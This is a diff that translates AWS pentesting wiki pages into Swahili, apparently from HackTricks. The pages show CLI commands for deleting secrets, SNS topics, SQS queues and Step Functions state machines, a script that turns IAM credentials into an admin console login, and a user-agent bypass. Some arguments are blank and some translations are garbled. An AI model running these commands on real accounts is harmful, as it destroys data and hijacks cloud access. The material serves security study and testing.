values are also stored, so it's easy to just go back to the previous value. - +> Kumbuka kwamba thamani za awali pia zimehifadhiwa, hivyo ni rahisi kurudi kwenye thamani ya awali. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ - --secret-id MyTestSecret \ - --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` - -### DoS Change KMS key - +### DoS Badilisha ufunguo wa KMS ```bash aws secretsmanager update-secret \ - --secret-id MyTestSecret \ - --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` +### DoS Kuondoa Siri -### DoS Deleting Secret - -The minimum number of days to delete a secret are 7 - +Idadi ya chini ya siku za kuondoa siri ni 7 ```bash aws secretsmanager delete-secret \ - --secret-id MyTestSecret \ - --recovery-window-in-days 7 +--secret-id MyTestSecret \ +--recovery-window-in-days 7 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index e67a07739..5a791d74f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -4,7 +4,7 @@ ## SES -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-ses-enum.md @@ -12,76 +12,58 @@ For more information check: ### `ses:SendEmail` -Send an email. - +Tuma barua pepe. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` - Still to test. ### `ses:SendRawEmail` -Send an email. - +Tuma barua pepe. ```bash aws ses send-raw-email --raw-message file://message.json ``` - Still to test. ### `ses:SendTemplatedEmail` -Send an email based on a template. - +Tuma barua pepe kulingana na kigezo. ```bash aws ses send-templated-email --source --destination --template ``` - Still to test. ### `ses:SendBulkTemplatedEmail` -Send an email to multiple destinations - +Tuma barua pepe kwa marudio mengi ```bash aws ses send-bulk-templated-email --source --template ``` - Still to test. ### `ses:SendBulkEmail` -Send an email to multiple destinations. - +Tuma barua pepe kwa marudio mengi. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` - ### `ses:SendBounce` -Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email. - +Tuma **barua ya kurudi** juu ya barua pepe iliyopokelewa (ikiashiria kwamba barua pepe haikuweza kupokelewa). Hii inaweza kufanywa **hadi masaa 24 baada ya kupokea** barua pepe. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` - Still to test. ### `ses:SendCustomVerificationEmail` -This will send a customized verification email. You might need permissions also to created the template email. - +Hii itatuma barua pepe ya uthibitisho iliyobinafsishwa. Unaweza kuhitaji ruhusa pia kuunda barua pepe ya kiolezo. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` - -Still to test. +Bado kupima. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index b24660ee1..3fdf26cbe 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -4,7 +4,7 @@ ## SNS -For more information: +Kwa maelezo zaidi: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,73 +12,57 @@ For more information: ### Disrupt Messages -In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected. +Katika kesi kadhaa, mada za SNS zinatumika kutuma ujumbe kwa majukwaa yanayofuatiliwa (barua pepe, ujumbe wa slack...). Ikiwa mshambuliaji atazuia kutumwa kwa ujumbe wanaoashiria uwepo wake katika wingu, anaweza kubaki bila kugundulika. ### `sns:DeleteTopic` -An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic. - +Mshambuliaji anaweza kufuta mada nzima ya SNS, na kusababisha kupotea kwa ujumbe na kuathiri programu zinazotegemea mada hiyo. ```bash aws sns delete-topic --topic-arn ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted topic. +**Madhara Yanayoweza Kutokea**: Kupoteza ujumbe na usumbufu wa huduma kwa programu zinazotumia mada iliyofutwa. ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Data corruption, unintended actions, or resource exhaustion. +**Madhara Yanayoweza Kutokea**: Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali. ### `sns:SetTopicAttributes` -An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability. - +Mshambuliaji anaweza kubadilisha sifa za mada ya SNS, ambayo inaweza kuathiri utendaji wake, usalama, au upatikanaji. ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Madhara Yanayoweza Kutokea**: Makosa ya usanidi yanayosababisha kupungua kwa utendaji, matatizo ya usalama, au kupungua kwa upatikanaji. ### `sns:Subscribe` , `sns:Unsubscribe` -An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Mshambuliaji anaweza kujiandikisha au kujiondoa kwenye mada ya SNS, na hivyo kupata ufikiaji usioidhinishwa wa ujumbe au kuharibu utendaji wa kawaida wa programu zinazotegemea mada hiyo. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` - -**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa ujumbe, usumbufu wa huduma kwa programu zinazotegemea mada iliyoathiriwa. ### `sns:AddPermission` , `sns:RemovePermission` -An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic. - +Mshambuliaji anaweza kuwapa watumiaji au huduma zisizoidhinishwa ufikiaji wa mada ya SNS, au kubatilisha ruhusa za watumiaji halali, na kusababisha usumbufu katika utendaji wa kawaida wa programu zinazotegemea mada hiyo. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au upotoshaji wa mada na watumiaji au huduma zisizoidhinishwa, kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea mada. ### `sns:TagResource` , `sns:UntagResource` -An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za SNS, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 872693e89..377dad9ad 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,80 +12,62 @@ For more information check: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye foleni ya SQS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Madhara Yanayoweza Kutokea**: Ukatili wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au uchovu wa rasilimali. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Mshambuliaji anaweza kupokea, kufuta, au kubadilisha mwonekano wa ujumbe katika foleni ya SQS, na kusababisha kupotea kwa ujumbe, uharibifu wa data, au usumbufu wa huduma kwa programu zinazotegemea ujumbe hao. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathiriwa. ### `sqs:DeleteQueue` -An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue. - +Mshambuliaji anaweza kufuta foleni nzima ya SQS, na kusababisha kupoteza ujumbe na kuathiri programu zinazotegemea foleni hiyo. ```arduino Copy codeaws sqs delete-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted queue. +**Madhara Yanayoweza Kutokea**: Kupotea kwa ujumbe na usumbufu wa huduma kwa programu zinazotumia foleni iliyofutwa. ### `sqs:PurgeQueue` -An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages. - +Mshambuliaji anaweza kufuta ujumbe wote kutoka kwa foleni ya SQS, na kusababisha kupotea kwa ujumbe na usumbufu wa programu zinazotegemea ujumbe hao. ```arduino Copy codeaws sqs purge-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications relying on the purged messages. +**Madhara Yanayoweza Kutokea**: Kupotea kwa ujumbe na usumbufu wa huduma kwa programu zinazotegemea ujumbe ulioondolewa. ### `sqs:SetQueueAttributes` -An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability. - +Mshambuliaji anaweza kubadilisha sifa za foleni ya SQS, ambayo inaweza kuathiri utendaji wake, usalama, au upatikanaji. ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Madhara Yanayoweza Kutokea**: Makosa ya usanidi yanayosababisha kupungua kwa utendaji, matatizo ya usalama, au kupungua kwa upatikanaji. ### `sqs:TagQueue` , `sqs:UntagQueue` -An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za SQS, akiharibu mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ### `sqs:RemovePermission` -An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue. - +Mshambuliaji anaweza kubatilisha ruhusa za watumiaji halali au huduma kwa kuondoa sera zinazohusiana na foleni ya SQS. Hii inaweza kusababisha kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea foleni hiyo. ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea foleni kutokana na kuondolewa kwa ruhusa zisizoidhinishwa. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 0d636f261..74d2843b1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -4,7 +4,7 @@ ## SSO & identitystore -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,8 +12,7 @@ For more information check: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -These permissions can be used to disrupt permissions: - +Ruhusa hizi zinaweza kutumika kuharibu ruhusa: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 6a0cd5ba9..163f9e491 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,20 +12,19 @@ For more information about this AWS service, check: ### `states:RevealSecrets` -This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true. +Ruhusa hii inaruhusu **kufichua data ya siri ndani ya utekelezaji**. Ili kufanya hivyo, inahitajika kuweka kiwango cha Ukaguzi kuwa TRACE na parameter ya revealSecrets kuwa kweli.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations. +Mshambuliaji mwenye ruhusa hizi angeweza kufuta kabisa mashine za hali, toleo zao, na majina. Hii inaweza kuharibu michakato muhimu, kusababisha kupoteza data, na kuhitaji muda mwingi kurekebisha na kurejesha mashine za hali zilizoathiriwa. Zaidi ya hayo, ingemruhusu mshambuliaji kuficha alama zilizotumika, kuharibu uchunguzi wa forensics, na kwa uwezekano kuathiri operesheni kwa kuondoa michakato muhimu ya automatisering na usanidi wa hali. > [!NOTE] > -> - Deleting a state machine you also delete all its associated versions and aliases. -> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. -> - It is not possible to delete a state machine version currently referenced by one o more aliases. - +> - Kufuta mashine ya hali pia unafuta toleo zake zote zinazohusiana na majina. +> - Kufuta jina la mashine ya hali huondoi toleo za mashine ya hali zinazorejelea jina hili. +> - Haiwezekani kufuta toleo la mashine ya hali ambalo kwa sasa linarejelewa na moja au zaidi ya majina. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` - -- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime. +- **Madhara Yanayoweza Kutokea**: Kuingiliwa kwa michakato muhimu, kupoteza data, na muda wa kukatika kwa operesheni. ### `states:UpdateMapRun` -An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows. - +Mshambuliaji mwenye ruhusa hii angeweza kubadilisha usanidi wa kushindwa kwa Ramani ya Kukimbia na mipangilio ya sambamba, akiwa na uwezo wa kuongeza au kupunguza idadi ya juu ya utekelezaji wa michakato ya watoto inayoruhusiwa, ikihusisha moja kwa moja na utendaji wa huduma. Zaidi ya hayo, mshambuliaji angeweza kuingilia kati asilimia na hesabu ya kushindwa inayokubalika, akiwa na uwezo wa kupunguza thamani hii hadi 0 ili kila wakati kipengele kinaposhindwa, ramani nzima ya kukimbia itashindwa, ikihusisha moja kwa moja na utekelezaji wa mashine ya hali na kwa uwezekano kuingilia kati michakato muhimu. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - -- **Potential Impact**: Performance degradation, and disruption of critical workflows. +- **Madhara Yanayoweza Kutokea**: Kupungua kwa utendaji, na kuingiliwa kwa michakato muhimu. ### `states:StopExecution` -An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption. +Mshambuliaji mwenye ruhusa hii anaweza kuweza kusitisha utekelezaji wa mashine yoyote ya hali, kuingilia michakato na shughuli zinazoendelea. Hii inaweza kusababisha muamala usiokamilika, shughuli za biashara kusimama, na uwezekano wa uharibifu wa data. > [!WARNING] -> This action is not supported by **express state machines**. - +> Hatua hii hait supported na **express state machines**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - -- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption. +- **Madhara Yanayoweza Kutokea**: Kuingiliwa kwa michakato inayoendelea, muda wa kukosekana kwa operesheni, na uwezekano wa uharibifu wa data. ### `states:TagResource`, `states:UntagResource` -An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Step Functions, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 3cabd1b71..c722b6022 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -4,21 +4,20 @@ ## STS -For more information: +Kwa maelezo zaidi: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### Kutoka kwa IAM Creds hadi Console -If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\ -Note that the the user/role must have the permission **`sts:GetFederationToken`**. +Ikiwa umeweza kupata baadhi ya akreditif za IAM huenda ukavutiwa na **kuingia kwenye web console** ukitumia zana zifuatazo.\ +Kumbuka kwamba mtumiaji/role lazima iwe na ruhusa **`sts:GetFederationToken`**. -#### Custom script - -The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console: +#### Skripti ya Kawaida +Skripti ifuatayo itatumia profaili ya kawaida na eneo la AWS la kawaida (sio gov na sio cn) kukupa URL iliyosainiwa ambayo unaweza kutumia kuingia ndani ya web console: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then - echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" - exit $status +echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" +exit $status fi # Parse the output @@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ - --get \ - --data-urlencode "Action=getSigninToken" \ - --data-urlencode "SessionDuration=43200" \ - --data-urlencode "Session=$json_creds" +--get \ +--data-urlencode "Action=getSigninToken" \ +--data-urlencode "SessionDuration=43200" \ +--data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) @@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` - #### aws_consoler -You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). - +Unaweza **kuunda kiungo cha console ya wavuti** na [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -67,27 +64,23 @@ source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` - > [!WARNING] -> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume. +> Hakikisha mtumiaji wa IAM ana ruhusa ya `sts:GetFederationToken`, au toa jukumu la kukubali. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment. - +[**aws-vault**](https://github.com/99designs/aws-vault) ni chombo cha kuhifadhi na kufikia kwa usalama akreditivu za AWS katika mazingira ya maendeleo. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` - > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> Unaweza pia kutumia **aws-vault** kupata **kipindi cha mkondoni cha kivinjari** -### **Bypass User-Agent restrictions from Python** - -If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing: +### **Kupita vizuizi vya User-Agent kutoka Python** +Ikiwa kuna **kizuizi cha kufanya vitendo fulani kulingana na user agent** inayotumika (kama vile kupunguza matumizi ya maktaba ya python boto3 kulingana na user agent) inawezekana kutumia mbinu ya awali ili **kuungana na konsoli ya wavuti kupitia kivinjari**, au unaweza moja kwa moja **kubadilisha user-agent wa boto3** kwa kufanya: ```bash # Shared by ex16x41 # Create a client @@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index fe4f69e25..958d75522 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -4,14 +4,10 @@ ## VPN -For more information: +Kwa maelezo zaidi: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index ba8374b41..fcea52c4a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -4,16 +4,16 @@ ## AWS Privilege Escalation -The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. +Njia ya kupandisha hadhi yako katika AWS ni kuwa na ruhusa za kutosha ili uweze, kwa namna fulani, kufikia ruhusa za majukumu/katumizi/mikundi mingine. Kuunganisha kupandisha hadhi hadi upate ufikiaji wa admin juu ya shirika. > [!WARNING] -> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. +> AWS ina **mamia** (ikiwa si maelfu) ya **ruhusa** ambazo chombo kinaweza kupewa. Katika kitabu hiki unaweza kupata **ruhusa zote ninazozijua** ambazo unaweza kutumia vibaya ili **kupandisha hadhi**, lakini ikiwa unajua **njia fulani** ambayo haijatajwa hapa, **tafadhali shiriki**. > [!CAUTION] -> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\ -> So remember that this is another way to **grant privileged permissions** to a principal. +> Ikiwa sera ya IAM ina `"Effect": "Allow"` na `"NotAction": "Someaction"` ikionyesha **rasilimali**... hiyo inamaanisha kwamba **mwanachama aliye ruhusiwa** ana **ruhusa ya kufanya KILA KITU isipokuwa ile hatua iliyoainishwa**.\ +> Hivyo kumbuka kwamba hii ni njia nyingine ya **kutoa ruhusa za kipaumbele** kwa mwanachama. -**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** +**Kurasa za sehemu hii zimepangwa kwa huduma za AWS. Ndani yake utaweza kupata ruhusa ambazo zitakuruhusu kupandisha hadhi.** ## Tools @@ -21,7 +21,3 @@ The way to escalate your privileges in AWS is to have enough permissions to be a - [Pacu](https://github.com/RhinoSecurityLabs/pacu) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 7f7edbc6e..2437ab9a4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,44 +12,37 @@ For more information check: ### `apigateway:POST` -With this permission you can generate API keys of the APIs configured (per region). - +Kwa ruhusa hii unaweza kuunda funguo za API za APIs zilizowekwa (kwa kila eneo). ```bash aws --region apigateway create-api-key ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Madhara Yanayoweza Kutokea:** Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti. ### `apigateway:GET` -With this permission you can get generated API keys of the APIs configured (per region). - +Kwa ruhusa hii unaweza kupata funguo za API zilizozalishwa za APIs zilizowekwa (kwa kila eneo). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Madhara Yanayoweza Kutokea:** Huwezi kufanya privesc kwa mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). - +Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuitumia na kutumia ufikiaji wa uwezekano ambao API gateway inaweza kuwa nao (kama kuitisha lambda iliyo hatarini). ```bash aws apigateway update-rest-api \ - --rest-api-id api-id \ - --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` - -**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. +**Madhara Yanayoweza Kutokea:** Wewe, kwa kawaida, 